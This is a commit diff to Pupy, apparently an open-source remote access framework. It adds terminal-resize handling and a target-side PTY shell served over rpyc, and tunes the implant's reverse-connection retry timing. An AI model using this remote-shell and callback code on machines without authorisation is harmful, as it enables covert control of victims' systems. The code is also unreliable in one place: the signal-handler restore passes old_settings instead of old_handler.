handling remote interactive terminal size using winch signal (useful when using programs like less, vim, ...)

pupy/modules/interactive_shell.py

@@ -6,26 +6,42 @@ import os
 if sys.platform!="win32":
 	import termios
 	import tty
+	import pty
 	import select
+	import pupylib.PupySignalHandler
+	import fcntl
+	import array
 import time
 import StringIO
 from threading import Event
+import rpyc
 
 __class_name__="InteractiveShell"
 def print_callback(data):
 	sys.stdout.write(data)
 	sys.stdout.flush()
 
+
 class InteractiveShell(PupyModule):
 	"""
 		open an interactive command shell. tty are well handled for targets running *nix
 	"""
 	max_clients=1
+
+	def __init__(self, *args, **kwargs):
+		PupyModule.__init__(self,*args, **kwargs)
+		self.set_pty_size=None
 	def init_argparse(self):
 		self.arg_parser = PupyArgumentParser(description=self.__doc__)
 		self.arg_parser.add_argument('-T', action='store_true', dest='pseudo_tty', help="Disable tty allocation")
 		self.arg_parser.add_argument('program', nargs='?', help="open a specific program. Default for windows is cmd.exe and for linux it depends on the remote SHELL env var")
 
+	def _signal_winch(self, signum, frame):
+		if self.set_pty_size is not None:
+			buf = array.array('h', [0, 0, 0, 0])
+			fcntl.ioctl(pty.STDOUT_FILENO, termios.TIOCGWINSZ, buf, True)
+			self.set_pty_size(buf[0], buf[1], buf[2], buf[3])
+
 	def run(self, args):
 		if self.client.is_windows() or args.pseudo_tty:
 			self.client.load_package("interactive_shell")
@@ -40,13 +56,16 @@ class InteractiveShell(PupyModule):
 				self.client.conn.modules.interactive_shell.interactive_open(program=program, encoding=encoding)
 		else: #handling tty
 			self.client.load_package("ptyshell")
-			ps=self.client.conn.modules['ptyshell'].PtyShell()
+			self.ps=self.client.conn.modules['ptyshell'].PtyShell()
 			program=None
 			if args.program:
 				program=args.program.split()
-			ps.spawn(program)
+			self.ps.spawn(program)
 			is_closed=Event()
-			ps.start_read_loop(print_callback, is_closed.set)
+			self.ps.start_read_loop(print_callback, is_closed.set)
+			self.set_pty_size=rpyc.async(self.ps.set_pty_size)
+			old_handler = pupylib.PupySignalHandler.set_signal_winch(self._signal_winch)
+			self._signal_winch(None, None) # set the remote tty sie to the current terminal size
 			try:
 				fd=sys.stdin.fileno()
 				old_settings = termios.tcgetattr(fd)
@@ -58,7 +77,7 @@ class InteractiveShell(PupyModule):
 						if sys.stdin in r:
 							input_buf+=sys.stdin.read(1)
 						elif input_buf:
-							ps.write(input_buf)
+							self.ps.write(input_buf)
 							input_buf=b""
 						elif is_closed.is_set():
 							break
@@ -67,6 +86,7 @@ class InteractiveShell(PupyModule):
 				finally:
 					termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
 			finally:
-				ps.close()
+				pupylib.PupySignalHandler.set_signal_winch(old_settings)
+				self.ps.close()
 
 

pupy/packages/linux/all/ptyshell.py

@@ -0,0 +1,111 @@
+# -*- coding: UTF8 -*-
+import sys
+import os
+import termios
+import pty
+import tty
+import fcntl
+import subprocess
+import time
+import threading
+import select
+import rpyc
+import logging
+import array
+
+def prepare():
+	os.setsid()
+
+class PtyShell(object):
+	def __init__(self):
+		self.prog=None
+		self.master=None
+		self.real_stdout=sys.stdout
+
+	def close(self):
+		if self.prog.returncode is None:
+			self.prog.terminate()
+
+	def __del__(self):
+		self.close()
+
+	def spawn(self, argv=None):
+		if not argv:
+			if 'SHELL' in os.environ:
+				argv = [os.environ['SHELL']]
+			else:
+				argv= ['/bin/sh']
+
+		master, slave = pty.openpty()
+		self.slave=slave
+		self.master = os.fdopen(master, 'rb+wb', 0) # open file in an unbuffered mode
+		flags = fcntl.fcntl(self.master, fcntl.F_GETFL)
+		assert flags>=0
+		flags = fcntl.fcntl(self.master, fcntl.F_SETFL , flags | os.O_NONBLOCK)
+		assert flags>=0
+		self.prog = subprocess.Popen(shell=False, args=argv, stdin=slave, stdout=slave, stderr=subprocess.STDOUT, preexec_fn=prepare)
+
+	def write(self, data):
+		self.master.write(data)
+		self.master.flush()
+
+	def set_pty_size(self, p1, p2, p3, p4):
+		buf = array.array('h', [p1, p2, p3, p4])
+		#fcntl.ioctl(pty.STDOUT_FILENO, termios.TIOCSWINSZ, buf)
+		fcntl.ioctl(self.master, termios.TIOCSWINSZ, buf)
+
+	def _read_loop(self, print_callback, close_callback):
+		cb=rpyc.async(print_callback)
+		close_cb=rpyc.async(close_callback)
+		while True:
+			r, w, x = select.select([self.master], [], [], 1)
+			if self.master in r:
+				data=self.master.read(1024)
+				if not data:
+					break
+				cb(data)
+			else:
+				self.prog.poll()
+				if self.prog.returncode is not None:
+					close_cb()
+					break
+
+	def start_read_loop(self, print_callback, close_callback):
+		t=threading.Thread(target=self._read_loop, args=(print_callback, close_callback))
+		t.daemon=True
+		t.start()
+
+	def interact(self):
+		""" doesn't work remotely with rpyc. use read_loop and write instead """
+		try:
+			fd=sys.stdin.fileno()
+			f=os.fdopen(fd,'r')
+			old_settings = termios.tcgetattr(fd)
+			try:
+				tty.setraw(fd)
+				while True:
+					r, w, x = select.select([sys.stdin, self.master], [], [], 1)
+					if self.master in r:
+						data=self.master.read(50)
+						sys.stdout.write(data)
+						sys.stdout.flush()
+					if sys.stdin in r:
+						data=sys.stdin.read(1)
+						self.master.write(data)
+					self.prog.poll()
+					if self.prog.returncode is not None:
+						sys.stdout.write("\n")
+						break
+			finally:
+				termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
+		finally:
+			self.close()
+
+
+
+
+
+if __name__=="__main__":
+	ps=PtyShell()
+	ps.spawn(['/bin/bash'])
+	ps.interact()

pupy/pp.py

@@ -90,6 +90,8 @@ class ReverseSlaveService(Service):
 def get_next_wait(attempt):
 	if attempt<60:
 		return 0.5
+	elif attempt<100:
+		return 3
 	else:
 		return random.randint(15,30)
 

pupy/pupylib/PupySignalHandler.py

@@ -0,0 +1,20 @@
+#!/usr/bin/env python
+# -*- coding: UTF8 -*-
+import signal
+
+winch_handler=None
+
+def set_signal_winch(handler):
+	""" return the old signal handler """
+	global winch_handler
+	old_handler=winch_handler
+	winch_handler=handler
+	return old_handler
+
+def signal_winch(signum, frame):
+	global winch_handler
+	if winch_handler:
+		return winch_handler(signum, frame)
+
+signal.signal(signal.SIGWINCH, signal_winch)
+

pupy/pupysh.py

@@ -18,6 +18,10 @@
 
 import pupylib.PupyServer
 import pupylib.PupyCmd
+try:
+	import pupylib.PupySignalHandler
+except:
+	pass
 import logging
 import time
 import traceback
@@ -70,6 +74,7 @@ if __name__=="__main__":
 			pcmd.cmdloop()
 		except Exception as e:
 			print(traceback.format_exc())
+			time.sleep(0.1) #to avoid flood in case of exceptions in loop
 			pcmd.intro=''